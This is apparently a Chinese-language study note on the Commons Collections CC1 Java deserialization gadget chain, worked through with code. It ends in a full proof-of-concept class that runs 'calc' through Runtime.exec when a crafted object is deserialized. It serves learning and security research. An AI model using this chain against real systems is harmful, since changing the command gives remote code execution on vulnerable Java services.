反序列链

入口

InvokerTransformer的类中,类中有一个public方法,里面使用了反射,可以执行任意方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

根据他的构造方法,传入方法名methodName,参数类型Class[] paramTypes,参数Object[] args,和Object,实现了命令执行

1
2
3
4
public static void main(String[] args) throws  Exception {
Runtime r=Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
}

成功执行出现计算机

第二步

然后向上找哪里使用了transform方法,又可以实例化类,在TransformedMap类中可以看到

1
2
3
4
5
6
7
8
9
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

有这个checkSetValue方法,使用了transform,而且通过构造方法我们可以控制valueTransformer但是这里的构造函数时protected

只允许同包子类使用,

但是这里有个decorate方法,可以实例化TransformedMap类,然后使用entry方法,可以自己调试一下,理解一下,这里的entrySet()还是要走很多步的,最后得到的是AbstractInputCheckedMapDecorator内部类MapEntry的一个对象

1
2
3
4
5
6
    HashMap<Object,Object> map=new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap=TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedmap.entrySet()) {
entry.setValue(r);
}

第三步

找哪里使用了setValue,在AnnotationInvocationHandler这里利用了循环,也使用了setValue,和我么刚才的操作简直是如出一辙

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

但是这个类不是public,所以不能直接实例化,需要利用反射获得构造器然后实例化这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c1=c.getDeclaredConstructor(Class.class,Map.class);
c1.setAccessible(true);
Object obj =c1.newInstance(Override.class,transformedMap);
serialize(obj);
unserialize("ser.bin");



public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//定义反序列化方法
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

两个问题

Runtime

Runtime是没有serializable接口,不能被序列化

所以需要使用InvokerTransformer类的方法,利用反射实例化这个类

1
2
3
4
5
Class<?> c=Class.forName("java.lang.Runtime");
Method m=c.getDeclaredMethod("getRuntime", null);
Runtime r =(Runtime)m.invoke(null,null);
Method m1=c.getDeclaredMethod("exec", String.class);
m1.invoke(r,"calc");

然后我们需用使用下面这个InvokerTransformer里面的方法,来完成上面的步骤

1
InvokerTransformer invokerTransformer=new InvokerTransformer("exec", new Class[]{String.class}, new  Object[]{"calc"});

前两段利用InvokerTransformer的方法获取Runtime的实例,

1
2
3
4
5
Method m2=(Method)new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new  Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime r1=(Runtime)new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(m2);

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r1);

这里我们可以发现前一个返回的值都是后面transform的参数,这里有一个ChainedTransformer的类

可以把上次的返回当参数执行,同样存在transform,参数是Transfomer类型的数组

1
2
3
4
5
6
Transformer[] a={
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer =new ChainedTransformer(a);
chainedTransformer.transform(Runtime.class);

这样调用构造函数后执行transform就可以了

if判断

下断点调试发现

这里的memberType是null,String name = memberValue.getKey();获取键,

Class<?> memberType = memberTypes.get(name);根据上面的name查找,我们这里写的是override.Class,我们进去看看

override是空的,自然查不到东西,我们可以换成Target,target里面有value,我们吧map.put(“value”,”aaaa”)

这样就能直接进入了,但是到setValue后value值是AnnotationTypeMismatchExceptionProxy这个类

这个时候有一个ConstantTransformer类

这个类也有transform方法,最重要的是会返回他输入的值

我们虽然改不了一开始输入的值,但是我们可以改变第二部的值,就是利用这个类,完整利用如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class cc {
public static void main(String[] args) throws Exception {


Transformer[] a={new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer =new ChainedTransformer(a);
// chainedTransformer.transform(Runtime.class);



HashMap<Object,Object> map=new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedMap=TransformedMap.decorate(map, null, chainedTransformer);

Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c1=c.getDeclaredConstructor(Class.class,Map.class);
c1.setAccessible(true);
Object obj =c1.newInstance(Target.class,transformedMap);
serialize(obj);
unserialize("ser.bin");
}


public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

//定义反序列化方法
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

参考b站的白日梦组长cc1链